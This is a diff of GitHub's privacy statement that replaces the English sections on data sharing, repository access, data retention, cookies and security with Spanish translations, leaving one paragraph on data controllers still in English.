+  * Dependemos de tu consentimiento para utilizar tu Información personal del usuario en las siguientes circunstancias: cuando completas la información en tu [perfil de usuario](https://github.com/settings/admin); cuando decides participar en una capacitación de GitHub, proyecto de investigación, programa beta o encuesta; y con fines de marketing cuando corresponda. Toda esta Información personal del Usuario es completamente opcional, y tienes la capacidad de acceder a ella, modificarla y eliminarla en cualquier momento. Aunque no puedes eliminar tu dirección de correo electrónico por completo, puedes volverlo privado. Puedes retirar tu consentimiento en cualquier momento.
+- Intereses legítimos:
+  * En general, el recordatorio del procesamiento de Información personal del usuario que hacemos es necesario con fines de nuestro legítimo interés, por ejemplo, con fines de cumplimiento legal, fines de seguridad o para mantener la permanente confidencialidad, integridad, disponibilidad y resistencia de los sistemas, el sitio web y el Servicio de GitHub.
+- Si quieres solicitar la eliminación de datos que procesamos sobre la base del consentimiento u objetar el procesamiento de la información personal que hacemos, utiliza nuestro [Formulario de contacto sobre Privacidad](https://support.github.com/contact/privacy).
 
-## How we share the information we collect
+## Cómo compartimos la información que recopilamos
 
-We may share your User Personal Information with third parties under one of the following circumstances:
+Podemos compartir tu Información personal del usuario con terceros en alguna de las siguientes circunstancias:
 
-### With your consent
-We share your User Personal Information, if you consent, after letting you know what information will be shared, with whom, and why. For example, if you purchase an application listed on our Marketplace, we share your username to allow the application Developer to provide you with services. Additionally, you may direct us through your actions on GitHub to share your User Personal Information. For example, if you join an Organization, you indicate your willingness to provide the owner of the Organization with the ability to view your activity in the Organization’s access log.
+### Con tu consentimiento
+Compartimos tu Información Personal del Usuario, si lo consientes, después de dejarte saber qué información será compartida, con quién y por qué. Por ejemplo, si compras una aplicación detallada en nuestro Mercado, compartimos tu nombre de usuario para permitirle al Programador de la aplicación que te proporcione los servicios. Asimismo, te puedes dirigir a nosotros a través de tus acciones en GitHub para compartir tu Información personal del usuario. Por ejemplo, si te unes a una Organización, indicas tu intención de proporcionarle al usuario de la Organización la capacidad de ver tu actividad en el registro de acceso de la Organización.
 
-### With service providers
-We share User Personal Information with a limited number of service providers who process it on our behalf to provide or improve our Service, and who have agreed to privacy restrictions similar to the ones in our Privacy Statement by signing data protection agreements or making similar commitments. Our service providers perform payment processing, customer support ticketing, network data transmission, security, and other similar services. While GitHub processes all User Personal Information in the United States, our service providers may process data outside of the United States or the European Union. If you would like to know who our service providers are, please see our page on [Subprocessors](/github/site-policy/github-subprocessors-and-cookies).
+### Con proveedores de servicios
+Compartimos información personal del usuario con un número limitado de proveedores de servicios que la procesan en nuestro nombre para proporcionar o mejorar nuestro servicio, y quienes han aceptado restricciones de privacidad similares a las de nuestra Declaración de Privacidad firmando acuerdos de protección de datos o haciendo compromisos similares. Nuestros proveedores de servicio realizan el procesamiento de pagos, la emisión de tickets de soporte técnico del cliente, la transmisión de datos de red, la seguridad y otros servicios similares. Mientras GitHub procesa toda la Información Personal del Usuario en los Estados Unidos, nuestros proveedores de servicios pueden procesar datos fuera de los Estados Unidos o de la Unión Europea. Si te gustaría saber quiénes son nuestros proveedores de servicios, por favor consulta nuestra página sobre nuestros [Subprocesadores](/github/site-policy/github-subprocessors-and-cookies).
 
-### For security purposes
-If you are a member of an Organization, GitHub may share your username, [Usage Information](#usage-information), and [Device Information](#device-information) associated with that Organization with an owner and/or administrator of the Organization, to the extent that such information is provided only to investigate or respond to a security incident that affects or compromises the security of that particular Organization.
+### Con fines de seguridad
+Si eres un miembro de una organización, GitHub puede compartir tu nombre de usuario, [Información de Uso](#usage-information), e [Información de Dispositivo](#device-information) asociadas con dicha organización con un propietario y/o administrador de la misma al punto en que tal información se proporcione únicamente para investigar o responder a un incidente de seguridad que afecte o ponga en riesgo la seguridad de esta organización en particular.
 
-### For legal disclosure
-GitHub strives for transparency in complying with legal process and legal obligations. Unless prevented from doing so by law or court order, or in rare, exigent circumstances, we make a reasonable effort to notify users of any legally compelled or required disclosure of their information. GitHub may disclose User Personal Information or other information we collect about you to law enforcement if required in response to a valid subpoena, court order, search warrant, a similar government order, or when we believe in good faith that disclosure is necessary to comply with our legal obligations, to protect our property or rights, or those of third parties or the public at large.
+### Para divulgación legal
+GitHub se esfuerza por conseguir transparencia en el cumplimiento de los procesos legales y las obligaciones legales. A menos que no lo permita la ley o una orden judicial, o en circunstancias únicas y apremiantes, hacemos un esfuerzo razonable para notificarles a los usuarios cualquier divulgación obligatoria o exigida de su información personal. Si así se requiere, GitHub puede divulgar Información personal del usuario u otra información que recopilamos acerca de ti para cumplir con la ley y responder una citación válida, orden judicial, orden de allanamiento u orden gubernamental similar, o cuando consideremos de buena fe que la divulgación es necesaria para cumplir con nuestras obligaciones legales, para proteger nuestra propiedad o nuestros derechos, los de terceros o los del público en general.
 
-For more information about our disclosure in response to legal requests, see our [Guidelines for Legal Requests of User Data](/github/site-policy/guidelines-for-legal-requests-of-user-data).
+Para obtener más información acerca de la divulgación en respuesta a solicitudes legales, consulta nuestros [Lineamientos para las Solicitudes Legales de Datos de Usuario](/github/site-policy/guidelines-for-legal-requests-of-user-data).
 
-### Change in control or sale
-We may share User Personal Information if we are involved in a merger, sale, or acquisition of corporate entities or business units. If any such change of ownership happens, we will ensure that it is under terms that preserve the confidentiality of User Personal Information, and we will notify you on our Website or by email before any transfer of your User Personal Information. The organization receiving any User Personal Information will have to honor any promises we made in our Privacy Statement or Terms of Service.
+### Cambios por control o venta
+Podemos compartir Información Personal del Usuario si estamos involucrados en una fusión, venta o adquisición de entidades corporativas o unidades de negocio. Si ocurre cualquier cambio de propiedad, nos aseguraremos de que sea conforme a los términos que preservan la confidencialidad de la Información personal del usuario y, antes de hacer cualquier transferencia de tu Información personal del usuario, lo notificaremos en nuestro Sitio web o por correo electrónico. La organización que reciba alguna Información personal del usuario tendrá que respetar cualquier compromiso que hayamos asumido en nuestra Declaración de privacidad o Términos del Servicio.
 
-### Aggregate, non-personally identifying information
-We share certain aggregated, non-personally identifying information with others about how our users, collectively, use GitHub, or how our users respond to our other offerings, such as our conferences or events.
+### Información agregada y sin indentificación personal
+Compartimos cierta información agregada y no identificativa personal con otros acerca de cómo nuestros usuarios, de forma colectiva, utilice GitHub, o cómo nuestros usuarios responden a nuestras otras ofertas, tales como nuestras conferencias o eventos.
 
-We **do not** sell your User Personal Information for monetary or other consideration.
+**No** vendemos tu Información personal del usuario con fines monetarios o en función de consideraciones de otro tipo.
 
-Please note: The California Consumer Privacy Act of 2018 (“CCPA”) requires businesses to state in their privacy policy whether or not they disclose personal information in exchange for monetary or other valuable consideration. While CCPA only covers California residents, we voluntarily extend its core rights for people to control their data to _all_ of our users, not just those who live in California. You can learn more about the CCPA and how we comply with it [here](/github/site-policy/githubs-notice-about-the-california-consumer-privacy-act).
+Tenga en cuenta: La Ley de Privacidad del Consumidor de California de 2018 (“CCPA”) les exige a las empresas que expliciten en su política de seguridad si divulgan o no información personal a cambio de retribuciones monetarias u otras consideraciones de valor. Si bien la CCPA solo cubre a los residentes de California, extenderemos voluntariamente a _todos_ nuestros usuarios los derechos nucleares de ésta para que las personas controlen sus datos, y no solamente a los residentes de California. Puedes conocer más acerca de la CCPA y de cómo cumplimos con sus disposiciones [aquí](/github/site-policy/githubs-notice-about-the-california-consumer-privacy-act).
 
-## Repository contents
+## Contenidos del repositorio
 
-### Access to private repositories
+### Acceso a repositorios privados
 
-If your repository is private, you control the access to your Content. If you include User Personal Information or Sensitive Personal Information, that information may only be accessible to GitHub in accordance with this Privacy Statement. GitHub personnel [do not access private repository content](/github/site-policy/github-terms-of-service#e-private-repositories) except for
-- security purposes
-- to assist the repository owner with a support matter
-- to maintain the integrity of the Service
-- to comply with our legal obligations
-- if we have reason to believe the contents are in violation of the law, or
-- with your consent.
+Si tu repositorio es privado, tú controlas el acceso a tu Contenido. Si incluyes información personal del usuario o información personal confidencial, dicha información solo GitHub puede ingresar a ella de acuerdo con la presente declaración de privacidad. El personal de GitHub [no ingresa al contenido del repositorio privado](/github/site-policy/github-terms-of-service#e-private-repositories) excepto
+- con fines de seguridad
+- para ayudar al propietario del repositorio con un asunto de soporte
+- para mantener la integridad del Servicio
+- para cumplir con nuestras obligaciones legales
+- si tenemos motivos para creer que los contenidos están en violación de la ley, o
+- con tu consentimiento.
 
-However, while we do not generally search for content in your repositories, we may scan our servers and content to detect certain tokens or security signatures, known active malware, known vulnerabilities in dependencies, or other content known to violate our Terms of Service, such as violent extremist or terrorist content or child exploitation imagery, based on algorithmic fingerprinting techniques (collectively, "automated scanning"). Our Terms of Service provides more details on [private repositories](/github/site-policy/github-terms-of-service#e-private-repositories).
+Sin embargo, si bien generalmente no buscamos contenido en tus repositorios, es posible que exploremos nuestros servidores y contenido para detectar determinados tokens o firmas de seguridad, malware activo conocido, vulnerabilidades conocidas en las dependencias u otro contenido que se sabe que viola nuestros términos de servicio, como contenido violento extremista o terrorista o imágenes de explotación infantil, basada en técnicas de huellas dactilares algorítmicas (colectivamente, "escaneo automatizado"). Nuestros términos de servicio ofrecen más detalles sobre [repositorios privados](/github/site-policy/github-terms-of-service#e-private-repositories).
 
-Please note, you may choose to disable certain access to your private repositories that is enabled by default as part of providing you with the Service (for example, automated scanning needed to enable Dependency Graph and Dependabot alerts).
+Ten en cuenta que puedes optar por inhabilitar cierto acceso a tus repositorios privados que están habilitados por defecto como parte de la prestación del servicio (por ejemplo, un escaneo automatizado necesario para habilitar las alertas del gráfico de dependencias y del Dependabot).
 
-GitHub will provide notice regarding our access to private repository content, unless [for legal disclosure](/github/site-policy/github-privacy-statement#for-legal-disclosure), to comply with our legal obligations, or where otherwise bound by requirements under law, for automated scanning, or if in response to a security threat or other risk to security.
+GitHub proporcionará un aviso con respecto a nuestro acceso al contenido del repositorio privado, a excepción de [ divulgación legal](/github/site-policy/github-privacy-statement#for-legal-disclosure), para cumplir con nuestras obligaciones legales o cuando se limite a los requisitos de la ley, para el escaneo automatizado o en respuesta a una amenaza de seguridad u otro riesgo para la seguridad.
 
-### Public repositories
+### Repositorios públicos
 
-If your repository is public, anyone may view its contents. If you include User Personal Information, [Sensitive Personal Information](https://gdpr-info.eu/art-9-gdpr/), or confidential information, such as email addresses or passwords, in your public repository, that information may be indexed by search engines or used by third parties.
+Si tu repositorio es público, cualquier persona puede ver los contenidos. Si incluyes información personal del usuario, [información personal confidencial](https://gdpr-info.eu/art-9-gdpr/)o información confidencial, como direcciones de correo electrónico o contraseñas, en tu repositorio público, esa información puede ser indexada por los motores de búsqueda o utilizada por terceros.
 
-Please see more about [User Personal Information in public repositories](/github/site-policy/github-privacy-statement#public-information-on-github).
+Por favor, consulta más sobre la [Información Personal del Usuario en los repositorios públicos](/github/site-policy/github-privacy-statement#public-information-on-github).
 
-## Other important information
+## Otra información importante
 
-### Public information on GitHub
+### Información pública en GitHub
 
-Many of GitHub services and features are public-facing. If your content is public-facing, third parties may access and use it in compliance with our Terms of Service, such as by viewing your profile or repositories or pulling data via our API. We do not sell that content; it is yours. However, we do allow third parties, such as research organizations or archives, to compile public-facing GitHub information. Other third parties, such as data brokers, have been known to scrape GitHub and compile data as well.
+Muchos de los servicios y características de GitHub están orientados al público. Si tu contenido es público, los terceros pueden acceder y utilizarlo de acuerdo con nuestros Términos de servicio, como ver tu perfil o los repositorios o extraer datos por medio de nuestra API. Nosotros no vendemos ese contenido; es tuyo. Sin embargo, permitimos que terceros, como organizaciones de investigación o archivos, compilen información de GitHub orientada al público. Se ha sabido que otros terceros, como corredores de datos, también han extraído y compilado información de GitHub.
 
-Your User Personal Information associated with your content could be gathered by third parties in these compilations of GitHub data. If you do not want your User Personal Information to appear in third parties’ compilations of GitHub data, please do not make your User Personal Information publicly available and be sure to [configure your email address to be private in your user profile](https://github.com/settings/emails) and in your [git commit settings](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address). We currently set Users' email address to private by default, but legacy GitHub Users may need to update their settings.
+Tu Información personal del usuario, asociada con tu contenido, puede ser recopilada por terceros en estas compilaciones de datos de GitHub. Si no quieres que tu información personal de usuario aparezca en las compilaciones de los datos de GitHub de terceros, por favor no hagas tu Información Personal de Usuario disponible públicamente y asegúrate de [configurar tu dirección de correo electrónico en tu perfil de usuario para que sea privada](https://github.com/settings/emails), así como en tu [configuración de confirmaciones de git](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address). Actualmente configuramos la dirección de correo electrónico de los usuarios como privada por defecto, pero es posible que los usuarios de GitHub heredados necesiten actualizar sus configuraciones.
 
-If you would like to compile GitHub data, you must comply with our Terms of Service regarding [information usage](/github/site-policy/github-acceptable-use-policies#6-information-usage-restrictions) and [privacy](/github/site-policy/github-acceptable-use-policies#7-privacy), and you may only use any public-facing User Personal Information you gather for the purpose for which our user authorized it. For example, where a GitHub user has made an email address public-facing for the purpose of identification and attribution, do not use that email address for the purposes of sending unsolicited emails to users or selling User Personal Information, such as to recruiters, headhunters, and job boards, or for commercial advertising. We expect you to reasonably secure any User Personal Information you have gathered from GitHub, and to respond promptly to complaints, removal requests, and "do not contact" requests from GitHub or GitHub users.
+Si quisieras compilar datos de GitHub, debes cumplir con nuestras condiciones de servicio con respecto al [uso de la información](/github/site-policy/github-acceptable-use-policies#6-information-usage-restrictions) y la [privacidad](/github/site-policy/github-acceptable-use-policies#7-privacy) y solo podrás utilizar la información personal de usuarios de cara al público que obtengas para el propósito para el que nuestro usuario la autorizó. Por ejemplo, cuando un usuario de GitHub ha hecho que una dirección de correo electrónico esté orientada al público con el fin de identificación y atribución, no uses esa dirección de correo electrónico con el fin de enviar correos electrónicos no solicitados a los usuarios o vender información personal del usuario, por ejemplo, reclutadores, cazatalentos y bolsas de trabajo o para publicidad comercial. Esperamos que protejas de manera razonable cualquier Información Personal de Usuario que hayas reunido de GitHub y respondas de inmediato a las quejas, las solicitudes de eliminación y las solicitudes de "no contactar" que haga GitHub u otros usuarios de GitHub.
 
-Similarly, projects on GitHub may include publicly available User Personal Information collected as part of the collaborative process. If you have a complaint about any User Personal Information on GitHub, please see our section on [resolving complaints](/github/site-policy/github-privacy-statement#resolving-complaints).
+Del mismo modo, los proyectos en GitHub pueden incluir Información Personal de Usuario disponible públicamente como parte del proceso de colaboración. Si tienes alguna queja sobre cualquier tipo de Información Personal de Usuario en GitHub, por favor, consulta nuestra sección de [resolución de quejas](/github/site-policy/github-privacy-statement#resolving-complaints).
 
 
-### Organizations
+### Organizaciones
 
-You may indicate, through your actions on GitHub, that you are willing to share your User Personal Information. If you collaborate on or become a member of an Organization, then its Account owners may receive your User Personal Information. When you accept an invitation to an Organization, you will be notified of the types of information owners may be able to see (for more information, see [About Organization Membership](/github/setting-up-and-managing-your-github-user-account/about-organization-membership)). If you accept an invitation to an Organization with a [verified domain](/organizations/managing-organization-settings/verifying-your-organizations-domain), then the owners of that Organization will be able to see your full email address(es) within that Organization's verified domain(s).
+Puedes indicar, a través de tus acciones en GitHub, que estás dispuesto a compartir tu Información Personal de Usuario. Si colaboras o te conviertes en miembro de una Organización, los propietarios de su cuenta podrán recibir tu Información personal del usuario. Cuando aceptas una invitación a una Organización, se te notificará de los tipos de información que los propietarios pueden ver (para obtener más información, consulta la sección [Acerca de la Membrecía de Organización](/github/setting-up-and-managing-your-github-user-account/about-organization-membership)). Si aceptas una invitación a una organización con un [dominio verificado](/organizations/managing-organization-settings/verifying-your-organizations-domain), entonces los propietarios de dicha organización podrán ver tu(s) dirección(es) de correo electrónico completa(s) dentro de l(los) dominio(s) verificado(s) de la organización.
 
-Please note, GitHub may share your username, [Usage Information](#usage-information), and [Device Information](#device-information) with the owner(s) of the Organization you are a member of, to the extent that your User Personal Information is provided only to investigate or respond to a security incident that affects or compromises the security of that particular Organization.
+Por favor, nota que GitHub podría compartir tu nombre de usuario, [información de uso](#usage-information). e [Información de Dispositivo](#device-information) con el(los) propietario(s) de la organización a la cual perteneces, en medida en que tu Información Personal de Usuario se proporcione únicamente para investigar o responder a incidentes de seguridad que afecten o pongan en riesgo la seguridad de esta organización en particular.
 
-If you collaborate on or become a member of an Account that has agreed to the [Corporate Terms of Service](/github/site-policy/github-corporate-terms-of-service) and a Data Protection Addendum (DPA) to this Privacy Statement, then that DPA governs in the event of any conflicts between this Privacy Statement and the DPA with respect to your activity in the Account.
+Si colaboras con, o te conviertes en miembro de una cuenta que ha aceptado las [Condiciones de Servicio Corporativas](/github/site-policy/github-corporate-terms-of-service) y con una Adenda de Protección de Datos (DPA) para esta Declaración de Privacidad, entonces, dicha DPA regirá sobre los otros instrumentos en caso de que haya un conflicto con esta Declaración de Privacidad y con la DPA con respecto a tu actividad en la cuenta.
 
-Please contact the Account owners for more information about how they might process your User Personal Information in their Organization and the ways for you to access, update, alter, or delete the User Personal Information stored in the Account.
+Contacta a los propietarios de la cuenta para obtener más información sobre la manera en que procesan tu Información personal del usuario y los modos de acceder, actualizar, modificar o borrar la Información personal del usuario almacenada en esa cuenta.
 
-## Additional services
+## Servicios adicionales
 
-### Third party applications
+### Aplicaciones de terceros
 
-You have the option of enabling or adding third-party applications, known as "Developer Products," to your Account. These Developer Products are not necessary for your use of GitHub. We will share your User Personal Information with third parties when you ask us to, such as by purchasing a Developer Product from the Marketplace; however, you are responsible for your use of the third-party Developer Product and for the amount of User Personal Information you choose to share with it. You can check our [API documentation](/rest/reference/users) to see what information is provided when you authenticate into a Developer Product using your GitHub profile.
+Tienes la opción de habilitar o agregar aplicaciones de terceros, conocidas como "Productos de programador", a tu cuenta. Estos Productos de Desarrollador no son necesarios para usar GitHub. Compartirás tu Información personal del usuario a terceros cuando nos lo solicites, como al comprar un Producto de programador de Marketplace; sin embargo, eres responsable del uso del Producto de programador de un tercero y por la cantidad de Información personal del usuario que eliges compartir con este. Puede revisar nuestra [documentación de API](/rest/reference/users) para ver qué información se proporciona cuando te autenticas en un Producto de Desarrollador usando tu perfil de GitHub.
 
-### GitHub Pages
+### Páginas de GitHub
 
-If you create a GitHub Pages website, it is your responsibility to post a privacy statement that accurately describes how you collect, use, and share personal information and other visitor information, and how you comply with applicable data privacy laws, rules, and regulations. Please note that GitHub may collect User Personal Information from visitors to your GitHub Pages website, including logs of visitor IP addresses, to comply with legal obligations, and to maintain the security and integrity of the Website and the Service.
+Si creas un sitio web de Páginas de GitHub, es tu responsabilidad publicar una declaración de privacidad que describa con precisión cómo recolectar, usar y compartir información personal y otra información de visitantes, y cómo cumples con las leyes, normas y reglamentos de privacidad de datos vigentes. Ten en cuenta que GitHub puede recopilar Información personal del usuario de los visitantes a tu sitio web de Páginas de GitHub incluyendo registros de las direcciones IP del visitante, para mantener la seguridad e integridad del sitio web y del servicio.
 
-### GitHub applications
+### Aplicaciones de GitHub
 
-You can also add applications from GitHub, such as our Desktop app, our Atom application, or other application and account features, to your Account. These applications each have their own terms and may collect different kinds of User Personal Information; however, all GitHub applications are subject to this Privacy Statement, and we collect the amount of User Personal Information necessary, and use it only for the purpose for which you have given it to us.
+También puedes agregar aplicaciones desde GitHub, tales como nuestra aplicación de Escritorio, nuestra aplicación de Atom, u otras aplicaciones y características de las cuentas, a tu propia cuenta. Estas aplicaciones tienen sus propios términos y pueden recopilar diferentes tipos de Información personal del usuario; sin embargo, todas las aplicaciones de GitHub están sujetas a esta Declaración de Privacidad, y siempre recogeremos la cantidad mínima de Información personal del usuario necesaria y la usaremos únicamente para el propósito por el que nos la diste.
 
-## How you can access and control the information we collect
+## Cómo puedes acceder y controlar la información que recopilamos
 
-If you're already a GitHub user, you may access, update, alter, or delete your basic user profile information by [editing your user profile](https://github.com/settings/profile) or contacting [GitHub Support](https://support.github.com/contact?tags=docs-policy). You can control the information we collect about you by limiting what information is in your profile, by keeping your information current, or by contacting [GitHub Support](https://support.github.com/contact?tags=docs-policy).
+Si ya eres un Usuario de GitHub, puedes acceder, actualizar, alterar o borrar tu información de perfil de usuario básico si [editas tu perfil de usuario](https://github.com/settings/profile) o contactas al [Soporte de GitHub](https://support.github.com/contact?tags=docs-policy). Puedes controlar la información que recopilamos sobre ti si limitas la información de tu perfil, manteniendo tu información actualizada o contactando al [Soporte de GitHub](https://support.github.com/contact?tags=docs-policy).
 
-If GitHub processes information about you, such as information [GitHub receives from third parties](#information-we-collect-from-third-parties), and you do not have an account, then you may, subject to applicable law, access, update, alter, delete, or object to the processing of your personal information by contacting [GitHub Support](https://support.github.com/contact?tags=docs-policy).
+So GitHub procesa información sobre ti, tal como la información que [GitHub recibe de terceros](#information-we-collect-from-third-parties) y no tienes una cuenta, entonces puedes, de acuerdo con la ley aplicable, acceder, actualizar, alterar, borrar u objetar el procesamiento de tu información personal si contactas al [Soporte de GitHub](https://support.github.com/contact?tags=docs-policy).
 
-### Data portability
+### Portabilidad de datos
 
-As a GitHub User, you can always take your data with you. You can [clone your repositories to your desktop](/desktop/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop), for example, or you can use our [Data Portability tools](https://developer.github.com/changes/2018-05-24-user-migration-api/) to download information we have about you.
+Como usuario de GitHub, siempre puedes llevar tus datos contigo. Puedes [clonar tus repositorios en tu escritorio](/desktop/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop), por ejemplo, o puedes utilizar nuestras [herramientas de portabilidad de datos](https://developer.github.com/changes/2018-05-24-user-migration-api/) para descargar la información que tenemos sobre ti.
 
-### Data retention and deletion of data
+### Retención de datos y eliminación de datos
 
-Generally, GitHub retains User Personal Information for as long as your account is active or as needed to provide you services.
+Generalmente, GitHub conserva la Información personal del usuario mientras tu cuenta esté activa o cuando sea necesaria para brindarte servicios.
 
-If you would like to cancel your account or delete your User Personal Information, you may do so in your [user profile](https://github.com/settings/admin). We retain and use your information as necessary to comply with our legal obligations, resolve disputes, and enforce our agreements, but barring legal requirements, we will delete your full profile (within reason) within 90 days of your request. You may contact [GitHub Support](https://support.github.com/contact?tags=docs-policy) to request the erasure of the data we process on the basis of consent within 30 days.
+Si deseas cancelar tu cuenta o eliminar tu Información personal del usuario, puedes hacerlo en tu perfil de usuario [](https://github.com/settings/admin). Conservamos y utilizamos tu información según se necesita para cumplir con nuestras obligaciones legales, resolver disputas y hacer cumplir nuestros acuerdos, pero salvo requisitos legales, eliminaremos tu perfil completo (dentro de lo razonable) dentro de los 90 días siguientes a tu solicitud. Puedes contactar al [Soporte de GitHub](https://support.github.com/contact?tags=docs-policy) para solicitar que se borren los datos que procesamos dentro de los siguientes 30 días con base en el consentimiento.
 
-After an account has been deleted, certain data, such as contributions to other Users' repositories and comments in others' issues, will remain. However, we will delete or de-identify your User Personal Information, including your username and email address, from the author field of issues, pull requests, and comments by associating them with a [ghost user](https://github.com/ghost).
+Después de que una cuenta se ha eliminado, ciertos datos, tales como contribuciones a los repositorios de otros usuarios y comentarios en asuntos ajenos, permanecerán. Sin embargo, eliminaremos o desidentificaremos tu Información personal del usuario, incluyendo tu nombre de usuario y dirección de correo electrónico del campo de autor de propuestas, solicitudes de extracción y comentarios al asociarlos con un [usuario fantasma](https://github.com/ghost).
 
-That said, the email address you have supplied [via your Git commit settings](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address) will always be associated with your commits in the Git system. If you choose to make your email address private, you should also update your Git commit settings. We are unable to change or delete data in the Git commit history — the Git software is designed to maintain a record — but we do enable you to control what information you put in that record.
+Una vez dicho esto, la dirección de correo electrónico que suministraste [a través de tu configuración de confirmaciones de Git](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address) siembre se asociará con tus confirmaciones en el sistema de Git. Si eliges hacer tu dirección de correo electrónico privada, también deberías actualizar la configuración de tu confirmación de cambios de Git. No podemos cambiar o eliminar datos en el historial de confirmación de Git (el software de Git está diseñado para mantener un registro) pero te permitimos controlar qué información pones en ese registro.
 
-## Our use of cookies and tracking
+## Uso de cookies y seguimiento
 
 ### Cookies
 
-GitHub only uses strictly necessary cookies. Cookies are small text files that websites often store on computer hard drives or mobile devices of visitors.
+GitHub solo utiliza las cookies estrictamente necesarias. Las cookies son pequeños archivos de texto que los sitios web almacenan a menudo en discos duros o dispositivos móviles de los visitantes.
 
-We use cookies solely to provide, secure, and improve our service. For example, we use them to keep you logged in, remember your preferences, identify your device for security purposes, analyze your use of our service, compile statistical reports, and provide information for future development of GitHub. We use our own cookies for analytics purposes, but do not use any third-party analytics service providers.
+Utilizamos cookies únicamente para proporcionar, asegurar y mejorar nuestro servicio. Por ejemplo, las utilizamos para mantenerte firmado, recordar tus preferencias, identificar tu dispositivo para propósitos de seguridad, analizar tu uso de nuestro servicio, compilar reportes estadísticos y proporcionar información para el desarrollo futuro de GitHub. Utilizamos nuestras propias cookies para propósitos de analítica, pero no utilizamos ningún proveedor de servicios de analítica tercero.
 
-By using our service, you agree that we can place these types of cookies on your computer or device. If you disable your browser or device’s ability to accept these cookies, you will not be able to log in or use our service.
+Al usar nuestro servicio, aceptas que podamos colocar este tipo de cookies en tu computadora o dispositivo. Si desactivas la capacidad de tu navegador o dispositivo para aceptar estas cookies, no podrás ingresar o utilizar nuestro servicio.
 
-We provide more information about [cookies on GitHub](/github/site-policy/github-subprocessors-and-cookies#cookies-on-github) on our [GitHub Subprocessors and Cookies](/github/site-policy/github-subprocessors-and-cookies) page that describes the cookies we set, the needs we have for those cookies, and the expiration of such cookies.
+Proporcionamos más información acerca de las [cookies en GitHub](/github/site-policy/github-subprocessors-and-cookies#cookies-on-github) en nuestra página de [Subprocesadores y cookies de GitHub](/github/site-policy/github-subprocessors-and-cookies), en la cual se describen las cookies que configuramos, las necesidades que tenemos para utilizarlas, y la vigencia de las mismas.
 
 ### DNT
 
-"[Do Not Track](https://www.eff.org/issues/do-not-track)" (DNT) is a privacy preference you can set in your browser if you do not want online services to collect and share certain kinds of information about your online activity from third party tracking services. GitHub responds to browser DNT signals and follows the [W3C standard for responding to DNT signals](https://www.w3.org/TR/tracking-dnt/). If you would like to set your browser to signal that you would not like to be tracked, please check your browser's documentation for how to enable that signal. There are also good applications that block online tracking, such as [Privacy Badger](https://privacybadger.org/).
+"[No Rastrear](https://www.eff.org/issues/do-not-track)" (DNT, por sus siglas en inglés) es una preferencia de privacidad que puedes configurar en tu buscador si no quieres que los servicios en línea recolecten y compartan ciertos tipos de información acerca de tu actividad en línea desde los servicios de rastreo de terceros. GitHub responde a las señales DNT del navegador y sigue el estándar [W3C para responder a las señales DNT](https://www.w3.org/TR/tracking-dnt/). Si deseas configurar tu navegador para que indique que no deseas que se rastree, revisa la documentación de tu navegador acerca de cómo habilitar esa señal. También hay buenas aplicaciones que bloquean el seguimiento en línea, como [Privacy Badger](https://privacybadger.org/).
 
-## How GitHub secures your information
+## Cómo asegura GitHub tu información
 
-GitHub takes all measures reasonably necessary to protect User Personal Information from unauthorized access, alteration, or destruction; maintain data accuracy; and help ensure the appropriate use of User Personal Information.
+GitHub toma todas las medidas razonablemente necesarias para proteger la Información personal del usuario contra accesos no autorizados, modificación o destrucción; mantener la exactitud de los datos y ayudar a asegurar el uso adecuado de la Información personal del usuario.
 
-GitHub enforces a written security information program. Our program:
-- aligns with industry recognized frameworks;
-- includes security safeguards reasonably designed to protect the confidentiality, integrity, availability, and resilience of our Users' data;
-- is appropriate to the nature, size, and complexity of GitHub’s business operations;
-- includes incident response and data breach notification processes; and
-- complies with applicable information security-related laws and regulations in the geographic regions where GitHub does business.
+GitHub aplica un programa escrito de información de seguridad. Nuestro programa:
+- se alinea con los marcos reconocidos de la industria;
+- incluye protecciones de seguridad diseñadas de manera razonable para proteger la confidencialidad, la integridad, la disponibilidad y la flexibilidad de los datos de usuarios;
+- es adecuado para la naturaleza, el tamaño y la complejidad de las operaciones comerciales de GitHub;
+- incluye procesos de respuesta frente a un incidente y notificación de filtración de datos; y
+- cumple con las leyes y regulaciones vigentes relacionadas a la seguridad de la información en las regiones geográficas donde GitHub realiza operaciones.
 
-In the event of a data breach that affects your User Personal Information, we will act promptly to mitigate the impact of a breach and notify any affected Users without undue delay.
+En caso de una filtración de datos que afecte tu Información personal del usuario, actuaremos rápidamente para mitigar el impacto de una infracción y notificar a los usuarios afectados sin demoras indebidas.
 
-Transmission of data on GitHub is encrypted using SSH, HTTPS (TLS), and git repository content is encrypted at rest. We manage our own cages and racks at top-tier data centers with high level of physical and network security, and when data is stored with a third-party storage provider, it is encrypted.
+La transmisión de datos en GitHub es cifrada usando SSH, HTTPS (TLS) y el contenido del repositorio de git es cifrado en reposo. Administramos nuestras propias jaulas y racks en centros de datos de alto nivel con un alto nivel de seguridad física y de red, y cuando los datos se almacenan con un proveedor de almacenamiento de terceros se cifran.
 
-No method of transmission, or method of electronic storage, is 100% secure. Therefore, we cannot guarantee its absolute security. For more information, see our [security disclosures](https://github.com/security).
+Ningún método de transmisión, o método de almacenamiento electrónico, es 100 % seguro. Por lo tanto, no podemos garantizar su seguridad absoluta. Para obtener más información, consulta nuestras [divulgaciones de seguridad](https://github.com/security).
 
-## GitHub's global privacy practices
+## Prácticas de privacidad mundiales de GitHub
 
-GitHub, Inc. and, for those in the European Economic Area, the United Kingdom, and Switzerland, GitHub B.V. are the controllers responsible for the processing of your personal information in connection with the Service, except (a) with respect to personal information that was added to a repository by its contributors, in which case the owner of that repository is the controller and GitHub is the processor (or, if the owner acts as a processor, GitHub will be the subprocessor); or (b) when you and GitHub have entered into a separate agreement that covers data privacy (such as a Data Processing Agreement).
+GitHub, Inc. and, for those in the European Economic Area, the United Kingdom, and Switzerland, GitHub B. V. are the controllers responsible for the processing of your personal information in connection with the Service, except (a) with respect to personal information that was added to a repository by its contributors, in which case the owner of that repository is the controller and GitHub is the processor (or, if the owner acts as a processor, GitHub will be the subprocessor); or (b) when you and GitHub have entered into a separate agreement that covers data privacy (such as a Data Processing Agreement).
 
-Our addresses are:
+Nuestras direcciones físicas son:
 
 - GitHub, Inc., 88 Colin P. Kelly Jr. Street, San Francisco, CA 94107.
 - GitHub B.V., Vijzelstraat 68-72, 1017 HL Amsterdam, The Netherlands.
 
